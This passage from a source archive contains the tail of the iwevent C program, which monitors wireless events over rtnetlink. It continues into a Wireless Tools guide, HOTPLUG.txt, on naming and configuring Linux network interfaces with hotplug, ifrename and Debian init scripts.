iw_print_bitrate(buffer, sizeof(buffer), event->u.bitrate.value); printf("New Bit Rate:%s\n", buffer); break; case SIOCGIWNAME: printf("Protocol:%-1.16s\n", event->u.name); break; case IWEVQUAL: { event->u.qual.updated = 0x0; /* Not that reliable, disable */ iw_print_stats(buffer, sizeof(buffer), &event->u.qual, iw_range, has_range); printf("Link %s\n", buffer); break; } default: printf("(Unknown Wireless event 0x%04X)\n", event->cmd); } /* switch(event->cmd) */ return(0); } /*------------------------------------------------------------------*/ /* * Print out all Wireless Events part of the RTNetlink message * Most often, there will be only one event per message, but * just make sure we read everything... */ static inline int print_event_stream(int ifindex, char * data, int len) { struct iw_event iwe; struct stream_descr stream; int i = 0; int ret; char buffer[64]; struct timeval recv_time; struct timezone tz; struct wireless_iface * wireless_data; /* Get data from cache */ wireless_data = iw_get_interface_data(ifindex); if(wireless_data == NULL) return(-1); /* Print received time in readable form */ gettimeofday(&recv_time, &tz); iw_print_timeval(buffer, sizeof(buffer), &recv_time, &tz); iw_init_event_stream(&stream, data, len); do { /* Extract an event and print it */ ret = iw_extract_event_stream(&stream, &iwe, wireless_data->range.we_version_compiled); if(ret != 0) { if(i++ == 0) printf("%s %-8.16s ", buffer, wireless_data->ifname); else printf(" "); if(ret > 0) print_event_token(&iwe, &wireless_data->range, wireless_data->has_range); else printf("(Invalid event)\n"); /* Push data out *now*, in case we are redirected to a pipe */ fflush(stdout); } } while(ret > 0); return(0); } /*********************** RTNETLINK EVENT DUMP***********************/ /* * Dump the events we receive from rtnetlink * This code is mostly from Casey */ /*------------------------------------------------------------------*/ /* * Respond to a single RTM_NEWLINK event from the rtnetlink socket. */ static int LinkCatcher(struct nlmsghdr *nlh) { struct ifinfomsg* ifi; #if 0 fprintf(stderr, "nlmsg_type = %d.\n", nlh->nlmsg_type); #endif ifi = NLMSG_DATA(nlh); /* Code is ugly, but sort of works - Jean II */ /* If interface is getting destoyed */ if(nlh->nlmsg_type == RTM_DELLINK) { /* Remove from cache (if in cache) */ iw_del_interface_data(ifi->ifi_index); return 0; } /* Only keep add/change events */ if(nlh->nlmsg_type != RTM_NEWLINK) return 0; /* Check for attributes */ if (nlh->nlmsg_len > NLMSG_ALIGN(sizeof(struct ifinfomsg))) { int attrlen = nlh->nlmsg_len - NLMSG_ALIGN(sizeof(struct ifinfomsg)); struct rtattr *attr = (void *) ((char *) ifi + NLMSG_ALIGN(sizeof(struct ifinfomsg))); while (RTA_OK(attr, attrlen)) { /* Check if the Wireless kind */ if(attr->rta_type == IFLA_WIRELESS) { /* Go to display it */ print_event_stream(ifi->ifi_index, (char *) attr + RTA_ALIGN(sizeof(struct rtattr)), attr->rta_len - RTA_ALIGN(sizeof(struct rtattr))); } attr = RTA_NEXT(attr, attrlen); } } return 0; } /* ---------------------------------------------------------------- */ /* * We must watch the rtnelink socket for events. * This routine handles those events (i.e., call this when rth.fd * is ready to read). */ static inline void handle_netlink_events(struct rtnl_handle * rth) { while(1) { struct sockaddr_nl sanl; socklen_t sanllen = sizeof(struct sockaddr_nl); struct nlmsghdr *h; int amt; char buf[8192]; amt = recvfrom(rth->fd, buf, sizeof(buf), MSG_DONTWAIT, (struct sockaddr*)&sanl, &sanllen); if(amt < 0) { if(errno != EINTR && errno != EAGAIN) { fprintf(stderr, "%s: error reading netlink: %s.\n", __PRETTY_FUNCTION__, strerror(errno)); } return; } if(amt == 0) { fprintf(stderr, "%s: EOF on netlink??\n", __PRETTY_FUNCTION__); return; } h = (struct nlmsghdr*)buf; while(amt >= (int)sizeof(*h)) { int len = h->nlmsg_len; int l = len - sizeof(*h); if(l < 0 || len > amt) { fprintf(stderr, "%s: malformed netlink message: len=%d\n", __PRETTY_FUNCTION__, len); break; } switch(h->nlmsg_type) { case RTM_NEWLINK: case RTM_DELLINK: LinkCatcher(h); break; default: #if 0 fprintf(stderr, "%s: got nlmsg of type %#x.\n", __PRETTY_FUNCTION__, h->nlmsg_type); #endif break; } len = NLMSG_ALIGN(len); amt -= len; h = (struct nlmsghdr*)((char*)h + len); } if(amt > 0) fprintf(stderr, "%s: remnant of size %d on netlink\n", __PRETTY_FUNCTION__, amt); } } /**************************** MAIN LOOP ****************************/ /* ---------------------------------------------------------------- */ /* * Wait until we get an event */ static inline int wait_for_event(struct rtnl_handle * rth) { #if 0 struct timeval tv; /* Select timeout */ #endif /* Forever */ while(1) { fd_set rfds; /* File descriptors for select */ int last_fd; /* Last fd */ int ret; /* Guess what ? We must re-generate rfds each time */ FD_ZERO(&rfds); FD_SET(rth->fd, &rfds); last_fd = rth->fd; /* Wait until something happens */ ret = select(last_fd + 1, &rfds, NULL, NULL, NULL); /* Check if there was an error */ if(ret < 0) { if(errno == EAGAIN || errno == EINTR) continue; fprintf(stderr, "Unhandled signal - exiting...\n"); break; } /* Check if there was a timeout */ if(ret == 0) { continue; } /* Check for interface discovery events. */ if(FD_ISSET(rth->fd, &rfds)) handle_netlink_events(rth); } return(0); } /******************************* MAIN *******************************/ /* ---------------------------------------------------------------- */ /* * helper ;-) */ static void iw_usage(int status) { fputs("Usage: iwevent [OPTIONS]\n" " Monitors and displays Wireless Events.\n" " Options are:\n" " -h,--help Print this message.\n" " -v,--version Show version of this program.\n", status ? stderr : stdout); exit(status); } /* Command line options */ static const struct option long_opts[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, { NULL, 0, NULL, 0 } }; /* ---------------------------------------------------------------- */ /* * main body of the program */ int main(int argc, char * argv[]) { struct rtnl_handle rth; int opt; /* Check command line options */ while((opt = getopt_long(argc, argv, "hv", long_opts, NULL)) > 0) { switch(opt) { case 'h': iw_usage(0); break; case 'v': return(iw_print_version_info("iwevent")); break; default: iw_usage(1); break; } } if(optind < argc) { fputs("Too many arguments.\n", stderr); iw_usage(1); } /* Open netlink channel */ if(rtnl_open(&rth, RTMGRP_LINK) < 0) { perror("Can't initialize rtnetlink socket"); return(1); } fprintf(stderr, "Waiting for Wireless Events from interfaces...\n"); /* Do what we have to do */ wait_for_event(&rth); /* Cleanup - only if you are pedantic */ rtnl_close(&rth); return(0); } reaver-1.4/src/lwe/HOTPLUG.txt0000755000175000017500000012574311705505257015463 0ustar reaverreaver Sane network interface management with Hotplug ---------------------------------------------- INTRODUCTION ------------ In the old days all wireless cards were managed by the excellent Pcmcia subsystem and its rich configuration scripts, and life was good. Then came the wireless PCI cards, then the wireless USB dongles. Some unification was needed, and rather than adapt the Pcmcia subsystem for PCI and USB, it was decided to create the much simpler Hotplug system. The USB subsystem already uses Hotplug. The Pcmcia subsystem is migrating to it : CardBus cards (32 bits) already use Hotplug, whereas Pcmcia cards (16 bits) still use the old Pcmcia scripts. The Hotplug system is still in its infancy, but already shows some good promise. Most users are disappointed at first by its apparent lack of features compared to the Pcmcia scripts. In this document, we will show how to fully exploit the Hotplug system and try to implement the equivalent of all the functionality of the Pcmcia scripts. ASSUMPTIONS ----------- The target audience of this document is mostly power users and distribution maintainers, but it should give enough clues to help newbies. You should have read and understood DISTRIBUTIONS.txt. The procedures described here are more advanced than the simple configuration described in DISTRIBUTIONS.txt. The main focus is of course on removable wireless interfaces, but we will to talk about network interface management in general, so this should apply also to built-in Ethernet cards. PROBLEM STATEMENT ----------------- Let's assume a Linux system and two or more network devices, Device A and Device B. Those devices may be built-in or removable, they may be present or absent from the system at any time, and they may activated in any particular order. The user wants to assign Configuration A to Device A and Configuration B to Device B, without the possibility that Device A gets assigned Configuration B. Different users may have different definitions of what is Device A. For some, it's a specific instance of a specific hardware, for others any hardware that meets some criteria (a wireless card, an Ethernet card). The user may also want to have multiple configurations for a given device such that the chosen configuration depends on various factors, just as with the old Pcmcia schemes. Device A may need Configuration A1 or Configuration A2 depending on those factors. By default, all network interfaces are created using default interface names (starting at "eth0" and going up). I call that the "all my cards are eth0" problem : im most distributions, "eth0" points to a single fixed configuration in the configuration database. Clearly, this won't satisfy our requirements. EXAMPLE SYSTEM -------------- The distribution I use is Debian 3.0, and some parts of what I say here will be specific to it. However, it should be easy to translate this material to other distributions and I welcome additions to this document. The example system is as follows : o Linux 2.6.X SMP kernel with hotplug support o Fully modular system (all network drivers as modules) o PCI Ethernet card : AMD PCnet LANCE (pcnet32 - eth4) o PCI Ethernet card : HP 100VG J2585B (hp100 - eth2) o ISA Wireless card : Old AT&T Wavelan (wavelan - eth3) o ISA-Pcmcia bridge : VADEM VG-469 (i82365 - slot 0) o PCI-CardBus bridge : Ricoh RL5c475 (yenta_socket - slot 2) o Pcmcia 802.11 card : Aironet 350 (airo_cs - eth0) o Pcmcia 802.11 card : Lucent Orinoco (orinoco_cs - eth0) o CardBus 802.11 card : SMC 2835W (prism54 - prism0) This system just happens to be my Linux development box. It has enough interfaces to make it interesting. All the examples I present in this document are extracted from this system. BASIC CONCEPTS -------------- Most of the concept and tricks presented here are not really new. The main contribution is to integrate them. 1) Removable network interfaces are managed by Hotplug (Pcmcia, CardBus, USB...). We can't assume that those interfaces are always present in this system and available at boot time (Pcmcia cards were not made to be soldered in the Pcmcia slot). Therefore Hotplug is the way to go. 2) Built-in PCI and ISA cards are managed by the init scripts, as they have always been. The ISA subsystem will never have Hotplug support, and hotplug is not necessary for PCI cards. 3) Built-in devices that are disable most of the time should be enabled manually by the user. Therefore both Hotplug and the init scripts should ignore those devices by default. 4) (1), (2) and (3) must be compatible on the same system and play nice with each other. 5) A well defined and consistent network interface name is assigned to each network hardware interface using 'ifrename'. Device A is always named 'ethA' (or whatever name you like such as 'mynetworkcard'). 6) No interface is called 'eth0' (or 'wlan0'). Any unknown device would be 'eth0', so known devices should be called something else. 7) Multiple configurations for a single interface (schemes) are managed by the ifup/ifdown subsystem. CONFIGURATION FROM INIT SCRIPTS ------------------------------- It may seem paradoxical, but before setting up Hotplug, we need to make sure that the initialisation of network cards via init scripts is done properly and doesn't get in the way of the Hotplug subsystem. The configuration of network cards via init scripts is the traditional way networking is initialised in Linux. The advantage of this method is that it's very well documented and understood, and has not changed much over the years. Unfortunately, it doesn't adequately support removable cards. The init scripts perform the following 3 functions in order : 1) Load necessary driver modules 2) Rename interface to name chosen by the user 3) Configure those network interfaces 1) Applicability ---------------- Configuration from init scripts is applicable to any built-in network interface (ISA, PCI...), i.e., interfaces available at boot time and that will never be removed from the system. The Hotplug subsystem also has the ability to configure some of the built-in network interfaces, such as PCI cards. However, there is a class of devices that will never have Hotplug support, such as ISA and EISA cards. 2) Loading driver modules (if/as needed) ---------------------------------------- Most distributions build the kernel drivers as modules. This modular setup allows to minimise the amount of memory used by the system and the flexible loading/unloading of drivers. You can also compile your kernel with static drivers (non-modular). In that case, the driver will always be available in the kernel, you don't need to configure the module subsystem, so you can skip directly to the next section. There are 3 alternatives to manage device drivers as modules. 1) Some distributions have an explicit list of modules that are loaded at boot time. If you want to use that feature you need to check the documentation of your distribution. 2) Some system, such as Hotplug, Discover or Kudzu, can scan the various buses of the PC and load the appropriate drivers. This is mostly configuration-free, but may not support all devices and may load unnecessary modules. 3) The module subsystem also allows to load modules 'on-demand'. When an application try to access or configure a network interface, the corresponding module is loaded. I personally prefer to use the 'on-demand' feature of the module subsystem, as this allow you to not have to specify a static list of modules that need to be loaded, and only modules really needed are loaded which saves kernel memory. You can also choose which module to load when there are multiple modules available that support your hardware (which happens quite often). With kernel 2.6.X the module subsystem is configured in the file /etc/modprobe.conf or files in the directory /etc/modprobe.d/. To configure 'on-demand' module loading, on my test system I need to add to the following lines to the configuration : --------- /etc/modprobe.d/local or /etc/modprobe.conf ------ # HP 100VG J2585B PCI card alias eth2 hp100 # AMD AMD PCnet LANCE PCI card alias eth4 pcnet32 # Old AT&T Wavelan ISA card alias eth3 wavelan options wavelan io=0x390 irq=15 ------------------------------------------------------------ Your distribution may already have lines for your interfaces, either replace these or make sure they are correct (some distributions are notorious for picking the wrong driver name in some cases). This file also contains configuration for lot of other subsystems, obviously you don't want to touch that. In this file, you put the name you would like the interface to have (we'll fix that in a minute). Note that for modern PCI cards this is much more straightforward than for old ISA cards. 3) Installing 'ifrename' ------------------------ You will need to install ifrename on your system. 'ifrename' is part of the Wireless Tools package (version 27 and later) and is a complete rewrite of the now obsolete 'nameif'. Some distributions, such as Debian Sarge, offer a separate package for 'ifrename', and in this case you should just install this package. Other distributions may include ifrename as part of their 'wireless-tools' package (this should be the case for Gentoo, Fedora and Mandrake). Other distributions, such as Debian 3.0, don't include ifrename at all, so you should compile yourself a recent version of Wireless Tools (v27 or later) and install it. In any case, you should verify that 'ifrename' is properly installed and check the path needed to call it : -------------------------- > which ifrename /sbin/ifrename -------------------------- Most distributions will install 'ifrename' in '/sbin', while if you compile your own wireless tools, it will be in '/usr/local/sbin'. 4) Making the boot scripts call 'ifrename' ------------------------------------------ You need to make sure 'ifrename' is run at boot time. Most distributions don't do that yet by default. This is a part that is distribution-specific, so you will need to look into your own init files, or ask people familiar with your distribution. It will need to run just before the call to 'ifup' or 'ifconfig' command. In Debian 3.0 and Debian Sarge, it needs to be run from /etc/init.d/networking, which is not the default. The necessary patch is below : ---------------------------------------------------------------- --- networking-orig Wed Feb 18 13:56:23 2004 +++ networking Fri Feb 20 14:51:06 2004 @@ -120,6 +120,15 @@ case "$1" in doopt syncookies no doopt ip_forward no + # Optionally remap interface names based on MAC address. + # '/sbin/ifrename' is part of wireless-tools package. + # /etc/iftab is currently not created by default. Jean II + if [ -x /sbin/ifrename ] && [ -r /etc/iftab ]; then + echo -n "Remapping network interfaces name: " + ifrename -p + echo "done." + fi + echo -n "Configuring network interfaces: " ifup -a echo "done." ---------------------------------------------------------------- Don't forget to set the appropriate path to the ifrename command (see step (3) above). You may also want to also set the proper options for ifrename (check the man page). The option '-p' enables module autoloading compatibility. The default version of 'ifrename' also includes some special Debian support : using "ifrename -p -d", only the proper modules are loaded. If you are using Debian, you should use this option. 5) Renaming interfaces ---------------------- As stated above, we use 'ifrename' to assign names to interfaces. First, you need to get the MAC address of each of your interfaces. You can read the MAC address on the label of the card, or display it using the 'ifconfig -a' command. Remember that the interface won't load yet with the proper name, so you may need to do a bit looking around : ----------------------------- # modprobe pcnet32 # ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:10:83:34:BA:E5 [...] ----------------------------- The configuration of 'ifrename' is simple, you just specify which name should be used for each MAC address in the file /etc/iftab : --------- /etc/iftab ------------------------ # HP 100VG J2585B PCI card eth2 mac 08:00:09:* # Old AT&T Wavelan ISA card eth3 mac 08:00:0E:* # AMD AMD PCnet LANCE PCI card eth4 mac 00:10:83:* --------------------------------------------- The '*' in the MAC address is a wildcard and allows me to replicate my configuration between multiple identical computers. If you have to manage large number of computers (like a rack of servers or clusters), then you may want to look at other selectors offered by 'ifrename'. To test that ifrename works, do the following : o Load all your drivers, see section (2) o Check /proc/net/dev to see which interface exist o Bring all interfaces down : ifconfig ethX down o Run ifrename o Check each interface with ifconfig o Bring all interfaces up : ifconfig ethX up 6) Configuring interfaces ------------------------- Most likely, your distribution is already doing this part properly. Just assign the proper IP and wireless configuration to each of the interface names you have chosen. This part is distribution specific, and I already document it in the file DISTRIBUTIONS.txt. In Debian, you would need to modify the file /etc/network/interfaces so that it looks something like this : --------- /etc/network/interfaces ----------- # AMD PCnet LANCE PCI card auto eth4 iface eth4 inet dhcp # HP 100VG J2585B PCI card auto eth2 iface eth2 inet static address 10.0.0.2 netmask 255.255.255.0 broadcast 10.0.0.255 gateway 10.0.0.1 --------------------------------------------- This was the last part. Now, at your next boot, all your interfaces should be assigned the proper name and the proper configuration. CONFIGURATION VIA HOTPLUG ------------------------- Dealing with removable interfaces is similar to dealing with built-in interfaces, the main difference is that we will use the Hotplug scripts instead of the init scripts. Another difference is that it will likely require more work on your part because most distributions are not fully ready for it. 1) Applicability ---------------- The Hotplug configuration method is the best choice for any removable network interface, such as : o Pcmcia (16 bits) network cards o CardBus (32 bits) network cards o USB network dongles o Hot-PCI network cards It may also be used to manage other types of network interfaces, although it may not be the best choice for them. 2) How Hotplug works -------------------- Conceptually, Hotplug is very simple. When something interesting happens, the Linux kernel generates an Hotplug event. This runs the proper script from the /etc/hotplug directory. There are 3 types of Hotplug events we care about : o PCI event : a CardBus device is added or removed from the system. The script /etc/hotplug/pci.agent is run. o USB event : a USB device is added or removed from the system. The script /etc/hotplug/usb.agent is run. o Network event : a network interface is added or removed from the system. The script /etc/hotplug/net.agent is run. If we insert a CardBus network card in the system, the following happens : 1) Kernel detects new CardBus device 2) Kernel generates PCI Hotplug event 3) /etc/hotplug/pci.agent runs, finds proper driver module 4) /etc/hotplug/pci.agent loads driver module 5) Driver module initialises, creates new network device 6) Kernel detects new network device 7) Kernel generates Network Hotplug event 8) /etc/hotplug/net.agent runs, configures network device The sequence of events is similar for removals and USB devices. 3) Make sure ifup does not deadlock ----------------------------------- The first problem is that we need to make sure the command 'ifup' does not deadlock by calling itself re-entrantly. If the system has built-in interfaces, the 'ifup' may reenter itself at boot time via Hotplug : 1) Init scripts start running 2) Init script calls 'ifup -a' to initialise built-in network interfaces 3) 'ifup' auto-loads driver module for built-in network interface 'eth4' 4) Driver module initialises, creates new network device 5) Kernel generates Network hotplug event 6) /etc/hotplug/net.agent runs, call 'ifup eth4' Note that you can produce the same reentrancy if you call ifup manually on an interface which module is not yet loaded. The default version of 'ifup' for Debian 3.0 and Debian Sarge is not reentrant and can therefore deadlock if not used properly. The patch to make 'ifup' properly reentrant is available here : http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=231197 Contemporary versions of Debian (Sarge and later) have a net.agent script that contains workarounds to prevents deadlock situations, so for normal use the default 'ifup' should work fine. Other distributions have very different ifup programs and I have not tried those (tell me about it !). 4) Installing Hotplug for Debian Sarge (testing/unstable) --------------------------------------------------------- Thanks to the great work of many people, Debian Sarge has all the necessary packages and hotplug support, and will work mostly 'out of the box'. You will need to install the following packages : o hotplug o ifrename While the installation of Hotplug is simple, its configuration may seem complex. The current network Hotplug script has 3 modes : 'all', 'auto' and 'hotplug'. However for our purpose they all produce the same results when configured. This mode is controlled by the variable NET_AGENT_POLICY in /etc/default/hotplug. In the mode "all", Hotplug will run ifup for all network events. This will result in failure messages if some interfaces have already been configured by the init scripts. This mode is not recommended. In the mode "auto", Hotplug will run ifup only for those interfaces listed in a auto stanza in /etc/network/interfaces. If you choose this mode, you need to put in /etc/network/interfaces a "auto" line for the interfaces you want to control with hotplug. --------- /etc/network/interfaces ----------- # Enable Hotplug support for "auto" mode (Sarge and later) auto eth0 eth1 eth2 eth3 eth4 wlan0 wlan1 prism0 prism1 airo0 airo1 --------------------------------------------- This will result in some failure message at boot time, the init script will attempt to enable all those interfaces, and generate an error for all those not available at this time. It will also generate an error messages for interface which have already been configured by the init scripts. This mode is also not recommended. In the mode "hotplug", hotplug network events are ignored by ifup by default. To enable them you will need to add the following lines to /etc/network/interfaces : --------- /etc/network/interfaces ----------- # Enable Hotplug support for "hotplug" mode (Sarge and later) mapping hotplug script echo --------------------------------------------- To enable them for only selected interfaces, e.g., ethA, make /etc/network/interfaces look like this : --------- /etc/network/interfaces ----------- # Enable Hotplug support for "hotplug" mode (Sarge and later) mapping hotplug script grep map ethA --------------------------------------------- 5) Installing Hotplug for Debian 3.0 ------------------------------------ Debian 3.0 doesn't come by default with hotplug, but the hotplug package is available as regular Debian package (on the CD or downloadable in Debian archive), so you can just install that. Unfortunately, this version of hotplug is not fully compatible with kernel 2.6.X. You will need to do the following modifications to the file /etc/hotplug/net.agent. ------- /etc/hotplug/net.agent ------------------ --- net.agent-d1 Fri Feb 20 18:18:05 2004 +++ net.agent Fri Feb 20 18:22:50 2004 @@ -26,7 +26,7 @@ if [ "$INTERFACE" = "" ]; then fi case $ACTION in -register) +add|register) case $INTERFACE in # interfaces that are registered after being "up" (?) @@ -52,7 +52,7 @@ register) mesg $1 $ACTION event not handled ;; -unregister) +remove|unregister) # Assume that we want to run ifdown no matter what, # because it is not going to remove the data from the # ifstate database otherwise. ------------------------------------------------- Compared to the version in Sarge, this older version of hotplug is much more basic, and doesn't have any scanning at boot time and doesn't need to be enabled in /etc/network/interfaces. 6) Installing hotplug on other distributions -------------------------------------------- The canonical version of hotplug is available at : http://linux-hotplug.sourceforge.net/ Most distributions have customized hotplug packages and chances are that the canonical version won't completely work on your system. All these various changing versions make it difficult for me to tell what exactly needs to be changed in the hotplug scripts to make them work. However, most should work out of the box. My guess is that in a few releases, all these problems will sort themselves out. Just be patient. 7) Dealing with 'init' hotplug ------------------------------ In addition to the standard kernel Hotplug events, modern versions of the Hotplug scripts add init scripts that scan the system buses and generate pseudo Hotplug events at boot time. For the PCI buses, the script /etc/hotplug/pci.rc is run, for the USB bus, /etc/hotplug/usb.rc is run. The end result is that the Hotplug subsystem will also attempt to configure built-in devices : 1) Kernel boots 2) Init runs, start to initialise the OS 3) /etc/hotplug/pci.rc runs, generates pseudo Hotplug event 4) /etc/hotplug/pci.agent loads driver module 5) Driver module initialises, creates new network device 6) Kernel generates Network Hotplug event 7) /etc/hotplug/net.agent runs, configures network device At this point, you realise that at initialisation, both Hotplug and the regular init scripts (see "CONFIGURATION FROM INIT SCRIPTS") are trying to configure the same devices in parallel. This may create problems and is totally redundant. Another reason I don't like this mechanism is that it blindly attempts to load drivers for all hardware present on the system and doesn't use the module loader configuration files to select preferred drivers. It's fairly common to have multiple drivers for a given hardware, and because of Murphy's law, Hotplug will usually load the wrong one. It's also fairly common to have hardware on the system that doesn't need enabling (for example, the IDE controller on my SCSI machine), not loading the driver makes your kernel smaller and boot faster. Hotplug does have a way of disabling the loading of drivers on a case by case basis. Drivers listed in /etc/hotplug/blacklist will not be loaded. Hotplug can be disabled for a whole subsystem by editing the appropriate .rc script in /etc/hotplug, or just deleting/renaming those files. 8) Making hotplug scripts call ifrename --------------------------------------- The last hotplug step is to make sure that 'ifrename' is run by the hotplug subsystem at the right time. As before, we want to run it just before calling 'ifup'. The latest version of the hotplug scripts have this feature integrated. However, you need to check that the path used for calling 'ifrename' is the proper one on your system. And, for older versions of hotplug scripts, you will need to add this support yourself. Check the path for ifrename : -------------------------- > which ifrename /sbin/ifrename -------------------------- The patch to add 'ifrename' to hotplug looks like : ------- /etc/hotplug/net.agent ------------------ --- net.agent-s2 Fri Feb 20 17:18:46 2004 +++ net.agent Fri Feb 20 17:32:43 2004 @@ -40,6 +40,21 @@ add|register) # we can't do much here without distro-specific knowledge # such as whether/how to invoke DHCP, set up bridging, etc. + # Run ifrename as needed - Jean II + # Remap interface names based on MAC address. This works around + # the dreaded configuration problem "all my cards are 'eth0'"... + # This needs to be done before ifup, otherwise ifup will get + # confused by the name change and because iface needs to be + # down to change its name. + if [ -x /sbin/ifrename ] && [ -r /etc/iftab ]; then + debug_mesg invoke ifrename for $INTERFACE + NEWNAME=`/sbin/ifrename -i $INTERFACE` + if [ -n "$NEWNAME" ]; then + debug_mesg iface $INTERFACE is remapped to $NEWNAME + INTERFACE=$NEWNAME + fi; + fi + # RedHat and similar export IN_HOTPLUG=1 if [ -x /sbin/ifup ]; then ------------------------------------------------- If your hotplug scripts already include ifrename support then you should find a section in /etc/hotplug/net.agent looking like the patch above. Otherwise, just cut'n'paste the patch above in the right place. The path for 'ifrename' is used twice above, so don't forget to modify both occurences. 9) Loading driver modules ------------------------- Wow ! The most difficult part is done. In theory, you don't need to do any specific configuration for the driver modules to be loaded. The 'pci.agent' and 'usb.agent' should load the right driver module for you. Also, you don't need to define aliases in /etc/modprobe.d/* or in /etc/modprobe.conf, it's useless and may be counterproductive. If you use a driver compiled statically in the kernel, you also have nothing to do. 10) Renaming interfaces ----------------------- We still use ifrename to assign names to interfaces. The configuration of 'ifrename' is the same. To keep the possibility of having multiple wireless cards (one in each CardBus slot), we use wildcards in both the MAC address and the name : --------- /etc/iftab ----------------------- # SMC 2835W wireless CardBus card prism* mac 00:30:B4:* --------------------------------------------- If you insert two cards, they would be named prism0 and prism1. Note that 'name wildcarding' is a feature only available in 2.6.X and 2.4.30 and later, so if you use older version of 2.4.X you will need to be explicit and list each card separatly : --------- /etc/iftab ----------------------- # SMC 2835W wireless CardBus card prism0 mac 00:30:B4:64:27:8B prism1 mac 00:30:B4:64:27:8D --------------------------------------------- 11) Configuring interfaces ------------------------- At this point, configuration of Hotplug interfaces is done just like their built-in counterparts. This part is still distribution specific, and still already documented in the file DISTRIBUTIONS.txt. In Debian, you would need to modify the file /etc/network/interfaces like this : --------- /etc/network/interfaces ----------- # Enable Hotplug support (Sarge and later) mapping hotplug script grep map prism0 # SMC 2835W wireless CardBus card iface prism0 inet static address 10.0.1.2 netmask 255.255.255.0 broadcast 10.0.1.255 wireless-essid THE_ESSID wireless-mode ad-hoc wireless-channel 5 --------------------------------------------- Note that you should not have wireless-* lines if you are using waproamd to set these parameters. Now, just cross your fingers and plug the card in the slot... PCMCIA INTERFACES (16 bits) --------------------------- The Pcmcia subsystem has quite some legacy, and can use various configuration procedures. The Pcmcia subsystem exclusively uses hotplug for 32 bits cards (if you are using the kernel Pcmcia modules, which is the only option for 2.6.X). For 16 bit cards cardmgr is still required for managing the sockets and loading modules. Cardmgr is configured by files in the /etc/pcmcia directory. To use Hotplug network configuration with 16 bits Pcmcia cards, first make sure the Pcmcia subsystem is properly configured and that cardmgr loads the right driver module (in most case, it should). Then, make sure that you don't have any configuration entries in /etc/pcmcia/network.opts and /etc/pcmcia/wireless.opts. Make sure that none of the entries in your system network configuration use 'eth0' or 'wlan0' (in /etc/network/interfaces for Debian users). Then, just follow the procedure described above for "Configuration Using Hotplug" to configure your network cards. You might want a little bit of explanation on why this magic will work (which would help in case it doesn't work). There are two types of Pcmcia network configuration scripts, available as /etc/pcmcia/network. The original Pcmcia script configures network cards using options found in /etc/pcmcia/network.opts and /etc/pcmcia/wireless.opts. Most distributions replace it with a script calling 'ifup'. By making sure that network.opts and wireless.opts are "empty", we neutralise the first set of scripts. By making sure no system configuration uses 'eth0' or 'wlan0', we neutralise the second set of scripts, the script would call 'ifup' with the default interface name, which is usually 'eth0', ifup would not find a configuration for it and would just ignore it. The card would still be configured because hotplug network events are generated for every interfaces, not only for devices managed by hotplug. So, net.agent would receive an event and perform the necessary steps to configure it. Personally, I'm still using the original Pcmcia scripts for my Pcmcia cards as described in the file PCMCIA.txt, because it still works and I will migrate my complex configurations over time. You can also decide to not use Hotplug for Pcmcia cards and modify the distribution Pcmcia scripts in /etc/pcmcia/* to handle Pcmcia cards with ifrename. You would need to modify /etc/pcmcia/network to add 'ifrename' before 'ifup' the same way it was done for /etc/hotplug/net.agent. But, as in the long term Pcmcia will migrate to Hotplug, I would not bother... MANUAL LOADING, DOCKING STATIONS -------------------------------- Manual loading is used for built-in network interfaces that are only use at specific time, and that you want disabled the rest of the time. We assume that you still use modules so that when the interface is not used you can remove the driver from the kernel. First, you need to set the configuration for those interfaces, the same way it's done for other network interfaces. The main difference is that you need to specify that those interfaces should not be enabled at boot time. It's also a good idea to disable Hotplug init scripts. With Debian, you just need to make sure that the 'auto" keyword doesn't apply to this interface. If you use drivers statically built in the kernel, make sure that ifrename runs at boot time (see CONFIGURATION FROM INIT SCRIPTS). Once it's done, you can just enable and disable those interfaces with 'ifup ethX' and 'ifdown ethX'. If you use both a modular system, make sure that the 'on-demand' module loading is properly configured : --------- /etc/modprobe.d/local or /etc/modprobe.conf ------ # HP 100VG J2585B PCI card alias eth2 hp100 # AMD AMD PCnet LANCE PCI card alias eth4 pcnet32 ------------------------------------------------------------ Then, you should instruct 'ifup' to load module and use ifrename prior to configuring the interface, and remove the module when going down. With Debian, this is done with : --------- /etc/network/interfaces ----------- # AMD AMD PCnet LANCE PCI card # noauto iface eth4 inet dhcp pre-up /sbin/ifrename -p -n eth4 post-down /sbin/modprobe -r eth4 # HP 100VG J2585B PCI card # noauto iface eth2 inet static address 10.0.0.2 netmask 255.255.255.0 broadcast 10.0.0.255 gateway 10.0.0.1 pre-up /sbin/ifrename -p -n eth2 post-down /sbin/modprobe -r eth2 --------------------------------------------- We use the '-n' option of ifrename to specify the name of the interface after renaming. This assume that the mapping for those interfaces don't use wildcards. The '-p' option make sure ifrename probes the module prior to using it. Using "modprobe -r" make sure that if the driver is composed of multiple module all the modules are unloaded. To enable the interface, just use : ----------------------------------- ifup eth4 ----------------------------------- And to disable the interface : ----------------------------------- ifdown eth4 ----------------------------------- This solution is obviously Debian specific, but could be adapted to other distributions. If you can't manage to get your distributions to use those tricks, you can do things manually. If you don't use Hotplug, you enable an interface with : ----------------------------------- modprobe eth4 ifrename ifup eth4 ----------------------------------- If you use hotplug, you only need to do : ----------------------------------- modprobe eth4 ----------------------------------- On the other hand, disabling the interface is done with : ----------------------------------- ifdown eth4 modprobe -r eth4 ----------------------------------- Docking stations for laptops may contain built-in interfaces. My previous laptop had one, and Linux had no support for it. After docking, I was able to bring up the network ISA card in the docking station. However, with most laptops and version of Linux, the issue is that after docking, the new devices are not seen. The solutions is to force a rescan of the PCI bus. Documentation is unclear on that, maybe 'scanpci' may help. To be able to simply manage my docking station, I had created two little scripts to enable and disable my network interface. After docking, you would run : -------- /sbin/dock ---------------------------- #!/bin/sh modprobe eth4 ifrename ifup eth4 ------------------------------------------------ And prior to undocking, you would run : -------- /sbin/undock ---------------------------- #!/bin/sh ifdown eth4 modprobe -r eth4 ------------------------------------------------ Thanks to 'ifrename', the network interface in your dock will always be properly configured regardless of if you have a Pcmcia network card in the Pcmcia slot or not. SCHEMES (MULTI-CONFIG) ---------------------- Most Ethernet cards will only connect to a single network, or can use DHCP to be auto-configured. With Wireless Cards, it's much more likely that you will need multiple configurations, for example at work, at home and on-the-go. Most distributions have various level of support for such schemes. Some distributions offer simple network schemes, while other offer "overall" schemes changing the whole configuration. I document the support for schemes in various distributions in the file DISTRIBUTIONS.txt. You can also use tools such as ifplugd, waproamd or wlandetect. Those tools are a kind of 